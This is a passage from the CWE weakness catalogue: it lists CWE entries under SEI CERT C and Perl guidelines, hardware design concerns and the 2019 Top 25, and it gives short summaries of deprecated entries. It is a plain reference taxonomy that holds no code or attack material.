  - CWE-129: Improper Validation of Array Index *(p.312)*
  - CWE-786: Access of Memory Location Before Start of Buffer *(p.1461)*
  - CWE-123: Write-what-where Condition *(p.296)*
  - CWE-125: Out-of-bounds Read *(p.302)*
  - CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior *(p.1393)*
  - CWE-469: Use of Pointer Subtraction to Determine Size *(p.994)*
  - CWE-121: Stack-based Buffer Overflow *(p.289)*
  - CWE-805: Buffer Access with Incorrect Length Value *(p.1497)*
  - CWE-468: Incorrect Pointer Scaling *(p.992)*
- CWE-1161: SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR) *(p.1997)*
  - CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') *(p.280)*
  - CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer *(p.271)*

- CWE-121: Stack-based Buffer Overflow *(p.289)*
- CWE-122: Heap-based Buffer Overflow *(p.293)*
- CWE-123: Write-what-where Condition *(p.296)*
- CWE-125: Out-of-bounds Read *(p.302)*
- CWE-676: Use of Potentially Dangerous Function *(p.1317)*
- CWE-170: Improper Null Termination *(p.395)*
- CWE-704: Incorrect Type Conversion or Cast *(p.1357)*

CWE-1162: SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM) *(p.1998)*

- CWE-416: Use After Free *(p.904)*
- CWE-672: Operation on a Resource after Expiration or Release *(p.1310)*
- CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior *(p.1393)*
- CWE-666: Operation on Resource in Wrong Phase of Lifetime *(p.1298)*
- CWE-415: Double Free *(p.901)*
- CWE-401: Missing Release of Memory after Effective Lifetime *(p.872)*
- CWE-404: Improper Resource Shutdown or Release *(p.877)*
- CWE-459: Incomplete Cleanup *(p.978)*
- CWE-771: Missing Reference to Active Allocated Resource *(p.1430)*
- CWE-772: Missing Release of Resource after Effective Lifetime *(p.1432)*
- CWE-590: Free of Memory not on the Heap *(p.1179)*
- CWE-131: Incorrect Calculation of Buffer Size *(p.325)*
- CWE-680: Integer Overflow to Buffer Overflow *(p.1321)*
- CWE-467: Use of sizeof() on a Pointer Type *(p.989)*
- CWE-789: Uncontrolled Memory Allocation *(p.1474)*
- CWE-190: Integer Overflow or Wraparound *(p.437)*

CWE-1163: SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO) *(p.1999)*

- CWE-134: Use of Externally-Controlled Format String *(p.334)*
- CWE-20: Improper Input Validation *(p.19)*
- CWE-67: Improper Handling of Windows Device Names *(p.120)*
- CWE-197: Numeric Truncation Error *(p.461)*
- CWE-241: Improper Handling of Unexpected Data Type *(p.534)*
- CWE-664: Improper Control of a Resource Through its Lifetime *(p.1291)*
- CWE-404: Improper Resource Shutdown or Release *(p.877)*
- CWE-459: Incomplete Cleanup *(p.978)*
- CWE-772: Missing Release of Resource after Effective Lifetime *(p.1432)*
- CWE-773: Missing Reference to Active File Descriptor or Handle *(p.1436)*
- CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime *(p.1439)*
- CWE-771: Missing Reference to Active Allocated Resource *(p.1430)*
- CWE-910: Use of Expired File Descriptor *(p.1584)*
- CWE-666: Operation on Resource in Wrong Phase of Lifetime *(p.1298)*
- CWE-672: Operation on a Resource after Expiration or Release *(p.1310)*
- CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior *(p.1393)*
- CWE-686: Function Call With Incorrect Argument Type *(p.1334)*
- CWE-685: Function Call With Incorrect Number of Arguments *(p.1333)*

CWE-1165: SEI CERT C Coding Standard - Guidelines 10. Environment (ENV) *(p.1999)*

- CWE-705: Incorrect Control Flow Scoping *(p.1359)*
- CWE-676: Use of Potentially Dangerous Function *(p.1317)*
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') *(p.141)*
- CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') *(p.181)*

CWE-1166: SEI CERT C Coding Standard - Guidelines 11. Signals (SIG) *(p.2000)*

- CWE-479: Signal Handler Use of a Non-reentrant Function *(p.1021)*
- CWE-662: Improper Synchronization *(p.1288)*

CWE-1167: SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR) *(p.2000)*

- CWE-456: Missing Initialization of a Variable *(p.971)*

- CWE-391: Unchecked Error Condition *(p.850)*
- CWE-252: Unchecked Return Value *(p.553)*
- CWE-253: Incorrect Check of Function Return Value *(p.560)*
- CWE-676: Use of Potentially Dangerous Function *(p.1317)*
- CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior *(p.1393)*

CWE-1168: SEI CERT C Coding Standard - Guidelines 13. Application Programming Interfaces (API) *(p.2001)*

CWE-1169: SEI CERT C Coding Standard - Guidelines 14. Concurrency (CON) *(p.2001)*

- CWE-667: Improper Locking *(p.1299)*
- CWE-366: Race Condition within a Thread *(p.809)*
- CWE-676: Use of Potentially Dangerous Function *(p.1317)*
- CWE-330: Use of Insufficiently Random Values *(p.730)*
- CWE-377: Insecure Temporary File *(p.829)*

CWE-1170: SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC) *(p.2002)*

- CWE-327: Use of a Broken or Risky Cryptographic Algorithm *(p.720)*
- CWE-330: Use of Insufficiently Random Values *(p.730)*
- CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) *(p.748)*
- CWE-676: Use of Potentially Dangerous Function *(p.1317)*
- CWE-331: Insufficient Entropy *(p.736)*
- CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior *(p.1393)*

CWE-1171: SEI CERT C Coding Standard - Guidelines 50. POSIX (POS) *(p.2003)*

- CWE-170: Improper Null Termination *(p.395)*
- CWE-242: Use of Inherently Dangerous Function *(p.536)*
- CWE-363: Race Condition Enabling Link Following *(p.801)*
- CWE-696: Incorrect Behavior Order *(p.1348)*
- CWE-273: Improper Check for Dropped Privileges *(p.601)*
- CWE-667: Improper Locking *(p.1299)*
- CWE-391: Unchecked Error Condition *(p.850)*
- CWE-252: Unchecked Return Value *(p.553)*
- CWE-253: Incorrect Check of Function Return Value *(p.560)*

CWE-1172: SEI CERT C Coding Standard - Guidelines 51. Microsoft Windows (WIN) *(p.2003)*

- CWE-762: Mismatched Memory Management Routines *(p.1405)*
- CWE-590: Free of Memory not on the Heap *(p.1179)*

Graph View: CWE-1178: Weaknesses Addressed by the SEI CERT Perl Coding Standard

- C CWE-1179: SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS) *(p.2004)*
- C CWE-1180: SEI CERT Perl Coding Standard - Guidelines 02. Declarations and Initialization (DCL) *(p.2004)*
- C CWE-1181: SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP) *(p.2005)*
- C CWE-1182: SEI CERT Perl Coding Standard - Guidelines 04. Integers (INT) *(p.2005)*
- C CWE-1183: SEI CERT Perl Coding Standard - Guidelines 05. Strings (STR) *(p.2006)*
- C CWE-1184: SEI CERT Perl Coding Standard - Guidelines 06. Object-Oriented Programming (OOP) *(p.2006)*
- C CWE-1185: SEI CERT Perl Coding Standard - Guidelines 07. File Input and Output (FIO) *(p.2006)*
- C CWE-1186: SEI CERT Perl Coding Standard - Guidelines 50. Miscellaneous (MSC) *(p.2007)*

Graph View: CWE-1194: Hardware Design

- CWE-1195: Manufacturing and Life Cycle Management Concerns *(p.2007)*
  - CWE-1248: Semiconductor Defects in Hardware Logic with Security-Sensitive Implications *(p.1773)*
  - CWE-1266: Improper Scrubbing of Sensitive Data from Decommissioned Device *(p.1805)*
  - CWE-1269: Product Released in Non-Release Configuration *(p.1810)*
  - CWE-1273: Device Unlock Credential Sharing *(p.1818)*
  - CWE-1278: Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques *(p.1827)*
- CWE-1196: Security Flow Issues *(p.2008)*
  - CWE-1190: DMA Device Enabled Too Early in Boot Phase *(p.1728)*
  - CWE-1193: Power-On of Untrusted Execution Core Before Enabling Fabric Access Control *(p.1732)*
  - CWE-1264: Hardware Logic with Insecure De-Synchronization between Control and Data Channels *(p.1800)*
  - CWE-1274: Insufficient Protections on the Volatile Memory Containing Boot Code *(p.1820)*
  - CWE-1283: Mutable Attestation or Measurement Reporting Data *(p.1836)*
- CWE-1197: Integration Issues *(p.2008)*
  - CWE-1276: Hardware Block Incorrectly Connected to Larger System *(p.1823)*
- CWE-1198: Privilege Separation and Access Control Issues *(p.2008)*
  - CWE-276: Incorrect Default Permissions *(p.606)*
  - CWE-1189: Improper Isolation of Shared Resources on System-on-Chip (SoC) *(p.1726)*
  - CWE-1192: System-on-Chip (SoC) Using Components without Unique, Immutable Identifiers *(p.1731)*
  - CWE-1220: Insufficient Granularity of Access Control *(p.1735)*
  - CWE-1242: Inclusion of Undocumented Features or Chicken Bits *(p.1762)*
  - CWE-1260: Improper Handling of Overlap Between Protected Memory Ranges *(p.1792)*
  - CWE-1262: Register Interface Allows Software Access to Sensitive Data or Security Settings *(p.1797)*
  - CWE-1259: Improper Protection of Security Identifiers *(p.1790)*
  - CWE-1267: Policy Uses Obsolete Encoding *(p.1806)*
  - CWE-1268: Agents Included in Control Policy are not Contained in Less-Privileged Policy *(p.1808)*
  - CWE-1270: Generation of Incorrect Security Identifiers *(p.1813)*
  - CWE-1280: Access Control Check Implemented After Asset is Accessed *(p.1831)*
- CWE-1199: General Circuit and Logic Design Concerns *(p.2009)*
  - CWE-1209: Failure to Disable Reserved Bits *(p.1733)*
  - CWE-1221: Incorrect Register Defaults or Module Parameters *(p.1737)*
  - CWE-1223: Race Condition for Write-Once Attributes *(p.1741)*
  - CWE-1224: Improper Restriction of Write-Once Bit Fields *(p.1743)*
  - CWE-1231: Improper Implementation of Lock Protection Registers *(p.1747)*
  - CWE-1232: Improper Lock Behavior After Power State Transition *(p.1748)*
  - CWE-1233: Improper Hardware Lock Protection for Security Sensitive Controls *(p.1750)*
  - CWE-1234: Hardware Internal or Debug Modes Allow Override of Locks *(p.1751)*
  - CWE-1245: Improper Finite State Machines (FSMs) in Hardware Logic *(p.1767)*
  - CWE-1253: Incorrect Selection of Fuse Values *(p.1782)*
  - CWE-1254: Incorrect Comparison Logic Granularity *(p.1783)*
  - CWE-1259: Improper Protection of Security Identifiers *(p.1790)*
  - CWE-1261: Improper Handling of Single Event Upsets *(p.1795)*
  - CWE-1270: Generation of Incorrect Security Identifiers *(p.1813)*
- CWE-1201: Core and Compute Issues *(p.2010)*
  - CWE-1252: CPU Hardware Not Configured to Support Exclusivity of Write and Execute Operations *(p.1780)*
  - CWE-1281: Sequence of Processor Instructions Leads to Unexpected Behavior (Halt and Catch Fire) *(p.1833)*
- CWE-1202: Memory and Storage Issues *(p.2010)*
  - CWE-226: Sensitive Information Uncleared in Resource Before Release for Reuse *(p.517)*
  - CWE-1246: Improper Write Handling in Limited-write Non-Volatile Memories *(p.1769)*
  - CWE-1251: Mirrored Regions with Different Values *(p.1778)*
  - CWE-1257: Improper Access Control Applied to Mirrored or Aliased Memory Regions *(p.1787)*

- CWE-1282: Assumed-Immutable Data Stored in Writable Memory *(p.1835)*

CWE-1203: Peripherals, On-chip Fabric, and Interface/IO Problems *(p.2010)*

CWE-1205: Security Primitives and Cryptography Issues *(p.2011)*

- CWE-203: Observable Discrepancy *(p.478)*
- CWE-325: Missing Required Cryptographic Step *(p.717)*
- CWE-1240: Use of a Risky Cryptographic Primitive *(p.1759)*
- CWE-1241: Use of Predictable Algorithm in Random Number Generator *(p.1761)*
- CWE-1279: Cryptographic Primitives used without Successful Self-Test *(p.1829)*

CWE-1206: Power, Clock, and Reset Concerns *(p.2011)*

- CWE-1232: Improper Lock Behavior After Power State Transition *(p.1748)*
- CWE-1247: Missing Protection Against Voltage and Clock Glitches *(p.1770)*
- CWE-1256: Hardware Features Enable Physical Attacks from Software *(p.1785)*
- CWE-1271: Missing Known Value on Reset for Registers Holding Security Settings *(p.1814)*

CWE-1207: Debug and Test Problems *(p.2011)*

- CWE-1191: Exposed Chip Debug and or Test Interface With Insufficient Access Control *(p.1729)*
- CWE-1234: Hardware Internal or Debug Modes Allow Override of Locks *(p.1751)*
- CWE-1243: Exposure of Security-Sensitive Fuse Values During Debug *(p.1764)*
- CWE-1244: Improper Authorization on Physical Debug and Test Interfaces *(p.1765)*
- CWE-1258: Sensitive Information Uncleared During Hardware Debug Flows *(p.1789)*
- CWE-1272: Debug/Power State Transitions Leak Information *(p.1816)*

CWE-1208: Cross-Cutting Problems *(p.2012)*

- CWE-440: Expected Behavior Violation *(p.949)*
- CWE-1053: Missing Documentation for Design *(p.1655)*
- CWE-1263: Insufficient Physical Protection Mechanism *(p.1798)*
- CWE-1277: Firmware Not Updateable *(p.1825)*
- CWE-1278: Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques *(p.1827)*

Graph View: CWE-1200: Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors

- CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer *(p.271)*
- CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') *(p.152)*
- CWE-20: Improper Input Validation *(p.19)*
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor *(p.466)*
- CWE-125: Out-of-bounds Read *(p.302)*
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') *(p.187)*
- CWE-416: Use After Free *(p.904)*
- CWE-190: Integer Overflow or Wraparound *(p.437)*
- CWE-352: Cross-Site Request Forgery (CSRF) *(p.773)*
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') *(p.31)*
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') *(p.141)*
- CWE-787: Out-of-bounds Write *(p.1463)*
- CWE-287: Improper Authentication *(p.630)*
- CWE-476: NULL Pointer Dereference *(p.1009)*
- CWE-732: Incorrect Permission Assignment for Critical Resource *(p.1367)*
- CWE-434: Unrestricted Upload of File with Dangerous Type *(p.935)*
- CWE-611: Improper Restriction of XML External Entity Reference *(p.1215)*
- CWE-94: Improper Control of Generation of Code ('Code Injection') *(p.204)*
- CWE-798: Use of Hard-coded Credentials *(p.1486)*
- CWE-400: Uncontrolled Resource Consumption *(p.864)*
- CWE-772: Missing Release of Resource after Effective Lifetime *(p.1432)*
- CWE-426: Untrusted Search Path *(p.917)*
- CWE-502: Deserialization of Untrusted Data *(p.1072)*
- CWE-269: Improper Privilege Management *(p.589)*
- CWE-295: Improper Certificate Validation *(p.648)*

Deprecated

CWE-1: DEPRECATED: Location

CWE ID : 1 **Status:** Deprecated

Summary

This category has been deprecated. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

CWE-3: DEPRECATED: Technology-specific Environment Issues

CWE ID : 3 **Status:** Deprecated

Summary

This category has been deprecated. It was originally intended as a "catch-all" for environment issues for technologies that did not have their own CWE, but it introduced unnecessary depth and complexity to the Development View (CWE-699).

CWE-4: DEPRECATED: J2EE Environment Issues

CWE ID : 4 **Status:** Deprecated

Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

CWE-10: DEPRECATED: ASP.NET Environment Issues

CWE ID : 10 **Status:** Deprecated

Summary

This category has been deprecated. It added unnecessary depth and complexity to its associated views.

CWE-17: DEPRECATED: Code

CWE ID : 17 **Status:** Deprecated

Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

CWE-18: DEPRECATED: Source Code

CWE ID : 18 **Status:** Deprecated

Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

CWE-21: DEPRECATED: Pathname Traversal and Equivalence Errors

CWE ID : 21 **Status:** Deprecated

Summary

This category has been deprecated. It was originally used for organizing weaknesses involving file names, which enabled access to files outside of a restricted directory (path traversal) or to perform operations on files that would otherwise be restricted (path equivalence). Consider using either the File Handling Issues category (CWE-1219) or the class Use of Incorrectly-Resolved Name or Reference (CWE-706).

CWE-60: DEPRECATED: UNIX Path Link Problems

CWE ID : 60 **Status:** Deprecated

Summary

This category has been deprecated. It covered a very low level of abstraction based on operating system, which was not useful for any existing view.

CWE-63: DEPRECATED: Windows Path Link Problems

CWE ID : 63 **Status:** Deprecated

Summary

This category has been deprecated. It covered a very low level of abstraction based on operating system, which was not useful for any existing view.

CWE-68: DEPRECATED: Windows Virtual File Problems

CWE ID : 68 **Status:** Deprecated

Summary

This category has been deprecated as it was found to be an unnecessary abstraction of platform specific details. Please refer to the category CWE-632 and weakness CWE-66 for relevant relationships.

CWE-70: DEPRECATED: Mac Virtual File Problems

CWE ID : 70 **Status:** Deprecated

Summary

This category has been deprecated as it was found to be an unnecessary abstraction of platform specific details. Please refer to the category CWE-632 and weakness CWE-66 for relevant relationships.

CWE-71: DEPRECATED: Apple '.DS_Store'

CWE ID : 71 **Status:** Deprecated

Description

This entry has been deprecated as it represents a specific observed example of a UNIX Hard Link weakness type rather than its own individual weakness type. Please refer to CWE-62.

CWE-92: DEPRECATED: Improper Sanitization of Custom Special Characters

CWE ID : 92 **Status:** Deprecated

Description

This entry has been deprecated. It originally came from PLOVER, which sometimes defined "other" and "miscellaneous" categories in order to satisfy exhaustiveness requirements for taxonomies. Within the context of CWE, the use of a more abstract entry is preferred in mapping situations. CWE-75 is a more appropriate mapping.

CWE-100: DEPRECATED: Technology-Specific Input Validation Problems

CWE ID : 100 **Status:** Deprecated

Summary

This category has been deprecated. It was originally intended as a "catch-all" for input validation problems in technologies that did not have their own CWE, but introduces unnecessary depth to the hierarchy.

CWE-101: DEPRECATED: Struts Validation Problems

CWE ID : 101 **Status:** Deprecated

Summary

This category has been deprecated. It was originally used for organizing the Development View (CWE-69 9), but it introduced unnecessary complexity and depth to the resulting tree.

CWE-132: DEPRECATED (Duplicate): Miscalculated Null Termination

CWE ID : 132 **Status:** Deprecated

Description

This entry has been deprecated because it was a duplicate of CWE-170. All content has been transferred to CWE-170.

CWE-139: DEPRECATED: General Special Element Problems

CWE ID : 139 **Status:** Deprecated

Summary

This entry has been deprecated. It is a leftover from PLOVER, but CWE-138 is a more appropriate mapping.

CWE-169: DEPRECATED: Technology-Specific Special Elements

CWE ID : 169 **Status:** Deprecated

Summary

This category has been deprecated. It was originally intended as a "catch-all" for input validation problems in technologies that did not have their own CWE, but introduces unnecessary depth to the hierarchy.

CWE-171: DEPRECATED: Cleansing, Canonicalization, and Comparison Errors

CWE ID : 171 **Status:** Deprecated

Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree. Weaknesses in this category were related to improper handling of data within protection mechanisms that attempt to perform neutralization for untrusted data. These weaknesses can be found in other similar categories.

CWE-216: DEPRECATED: Containment Errors (Container Errors)

CWE ID : 216 **Status:** Deprecated

Description

This entry has been deprecated, as it was not effective as a weakness and was structured more like a category. In addition, the name is inappropriate, since the "container" term is widely understood by developers in different ways than originally intended by PLOVER, the original source for this entry.

CWE-217: DEPRECATED: Failure to Protect Stored Data from Modification

CWE ID : 217 **Status:** Deprecated

Description

This weakness has been deprecated because it incorporated and confused multiple weaknesses. The issues formerly covered in this weakness can be found at CWE-766 and CWE-767.

CWE-218: DEPRECATED (Duplicate): Failure to provide confidentiality for stored data

CWE ID : 218 **Status:** Deprecated

Description

This weakness has been deprecated because it was a duplicate of CWE-493. All content has been transferred to CWE-493.

CWE-225: DEPRECATED (Duplicate): General Information Management Problems

CWE ID : 225 **Status:** Deprecated

Description

This weakness can be found at CWE-199.

CWE-247: DEPRECATED (Duplicate): Reliance on DNS Lookups in a Security Decision

CWE ID : 247 **Status:** Deprecated

Description

This entry has been deprecated because it was a duplicate of CWE-350. All content has been transferred to CWE-350.

CWE-249: DEPRECATED: Often Misused: Path Manipulation

CWE ID : 249 **Status:** Deprecated

Description

This entry has been deprecated because of name confusion and an accidental combination of multiple weaknesses. Most of its content has been transferred to CWE-785.

CWE-292: DEPRECATED (Duplicate): Trusting Self-reported DNS Name

CWE ID : 292 **Status:** Deprecated

Description

This entry has been deprecated because it was a duplicate of CWE-350. All content has been transferred to CWE-350.

CWE-373: DEPRECATED: State Synchronization Error

CWE ID : 373 **Status:** Deprecated

Description

This entry was deprecated because it overlapped the same concepts as race condition (CWE-362) and Improper Synchronization (CWE-662).

CWE-376: DEPRECATED: Temporary File Issues

CWE ID : 376 **Status:** Deprecated

Summary

This category has been deprecated. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree. Consider using the File Handling Issues category (CWE-1219).

CWE-380: DEPRECATED: Technology-Specific Time and State Issues

CWE ID : 380 **Status:** Deprecated

Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

CWE-381: DEPRECATED: J2EE Time and State Issues

CWE ID : 381 **Status:** Deprecated

Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

CWE-418: DEPRECATED: Channel Errors

CWE ID : 418 **Status:** Deprecated

Summary

This category has been deprecated because it redundant with the grouping provided by CWE-417.

CWE-423: DEPRECATED (Duplicate): Proxied Trusted Channel

CWE ID : 423 **Status:** Deprecated

Description

This entry has been deprecated because it was a duplicate of CWE-441. All content has been transferred to CWE-441.

CWE-442: DEPRECATED: Web Problems

CWE ID : 442 **Status:** Deprecated

Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

CWE-443: DEPRECATED (Duplicate): HTTP response splitting

CWE ID : 443 **Status:** Deprecated

Description

This weakness can be found at CWE-113.

CWE-445: DEPRECATED: User Interface Errors

CWE ID : 445 **Status:** Deprecated

Summary

This weakness has been deprecated because it was a duplicate of CWE-355. All content has been transferred to CWE-355.

CWE-458: DEPRECATED: Incorrect Initialization

CWE ID : 458 **Status:** Deprecated

Description

This weakness has been deprecated because its name and description did not match. The description duplicated CWE-454, while the name suggested a more abstract initialization problem. Please refer to CWE-665 for the more abstract problem.

CWE-461: DEPRECATED: Data Structure Issues

CWE ID : 461 **Status:** Deprecated

Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

CWE-490: DEPRECATED: Mobile Code Issues

CWE ID : 490 **Status:** Deprecated

Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

CWE-503: DEPRECATED: Byte/Object Code

CWE ID : 503 **Status:** Deprecated

Summary

This category has been deprecated. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

CWE-504: DEPRECATED: Motivation/Intent

CWE ID : 504 **Status:** Deprecated

Summary

This category has been deprecated. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

CWE-505: DEPRECATED: Intentionally Introduced Weakness

CWE ID : 505 **Status:** Deprecated

Summary

This category has been deprecated as it was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

CWE-513: DEPRECATED: Intentionally Introduced Nonmalicious Weakness

CWE ID : 513 **Status:** Deprecated

Summary

This category has been deprecated as it was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

CWE-516: DEPRECATED (Duplicate): Covert Timing Channel

CWE ID : 516 **Status:** Deprecated

Description

This weakness can be found at CWE-385.

CWE-517: DEPRECATED: Other Intentional, Nonmalicious Weakness

CWE ID : 517 **Status:** Deprecated

Summary

This category has been deprecated as it was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

CWE-518: DEPRECATED: Inadvertently Introduced Weakness

CWE ID : 518 **Status:** Deprecated

Summary

This category has been deprecated as it was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

CWE-519: DEPRECATED: .NET Environment Issues

CWE ID : 519 **Status:** Deprecated

Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

CWE-533: DEPRECATED: Information Exposure Through Server Log Files

CWE ID : 533 **Status:** Deprecated

Description

This entry has been deprecated because its abstraction was too low-level. See CWE-532.

CWE-534: DEPRECATED: Information Exposure Through Debug Log Files

CWE ID : 534 **Status:** Deprecated

Description

This entry has been deprecated because its abstraction was too low-level. See CWE-532.

CWE-542: DEPRECATED: Information Exposure Through Cleanup Log Files

CWE ID : 542 **Status:** Deprecated

Description

This entry has been deprecated because its abstraction was too low-level. See CWE-532.

CWE-545: DEPRECATED: Use of Dynamic Class Loading

CWE ID : 545 **Status:** Deprecated

Description

This weakness has been deprecated because it partially overlaps CWE-470, it describes legitimate programmer behavior, and other portions will need to be integrated into other entries.

CWE-559: DEPRECATED: Often Misused: Arguments and Parameters

CWE ID : 559 **Status:** Deprecated

Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

CWE-592: DEPRECATED: Authentication Bypass Issues

CWE ID : 592 **Status:** Deprecated

Description

This weakness has been deprecated because it covered redundant concepts already described in CWE-287.

CWE-596: DEPRECATED: Incorrect Semantic Object Comparison

CWE ID : 596 **Status:** Deprecated

Description

This weakness has been deprecated. It was poorly described and difficult to distinguish from other entries. It was also inappropriate to assign a separate ID solely because of domain-specific considerations. Its closest equivalent is CWE-1023.

CWE-630: DEPRECATED: Weaknesses Examined by SAMATE

CWE ID : 630 **Status:** Deprecated

Objective

This view has been deprecated. It was only used for an early year of the NIST SAMATE project, and it did not represent any official or commonly-utilized list.

CWE-631: DEPRECATED: Resource-specific Weaknesses

CWE ID : 631 **Status:** Deprecated

Objective

This view has been deprecated because it is not actively maintained and does not provide utility to stakeholders. It was originally created before CWE 1.0 as a simple example of how views could be structured within CWE.

CWE-632: DEPRECATED: Weaknesses that Affect Files or Directories

CWE ID : 632 **Status:** Deprecated

Summary

This category has been deprecated. It was not actively maintained, and it was not useful to stakeholders. It was originally created before CWE 1.0 as part of view CWE-631, which was a simple example of how views could be structured within CWE.

CWE-633: DEPRECATED: Weaknesses that Affect Memory

CWE ID : 633 **Status:** Deprecated

Summary

This category has been deprecated. It was not actively maintained, and it was not useful to stakeholders. It was originally created before CWE 1.0 as part of view CWE-631, which was a simple example of how views could be structured within CWE.

CWE-634: DEPRECATED: Weaknesses that Affect System Processes

CWE ID : 634 **Status:** Deprecated

Summary

This category has been deprecated. It was not actively maintained, and it was not useful to stakeholders. It was originally created before CWE 1.0 as part of view CWE-631, which was a simple example of how views could be structured within CWE.

CWE-679: DEPRECATED: Chain Elements

CWE ID : 679 **Status:** Deprecated

Objective

This view has been deprecated. It has limited utility for stakeholders, since all weaknesses can be links in a chain.

CWE-769: DEPRECATED: Uncontrolled File Descriptor Consumption

CWE ID : 769 **Status:** Deprecated

Description

This entry has been deprecated because it was a duplicate of CWE-774. All content has been transferred to CWE-774.

CWE-1187: DEPRECATED: Use of Uninitialized Resource

CWE ID : 1187 **Status:** Deprecated

Description

This entry has been deprecated because it was a duplicate of CWE-908. All content has been transferred to CWE-908.

Glossary

Index

D

E

J

K

L

M

N

O

P

Q

R

S

T

U

V

W

X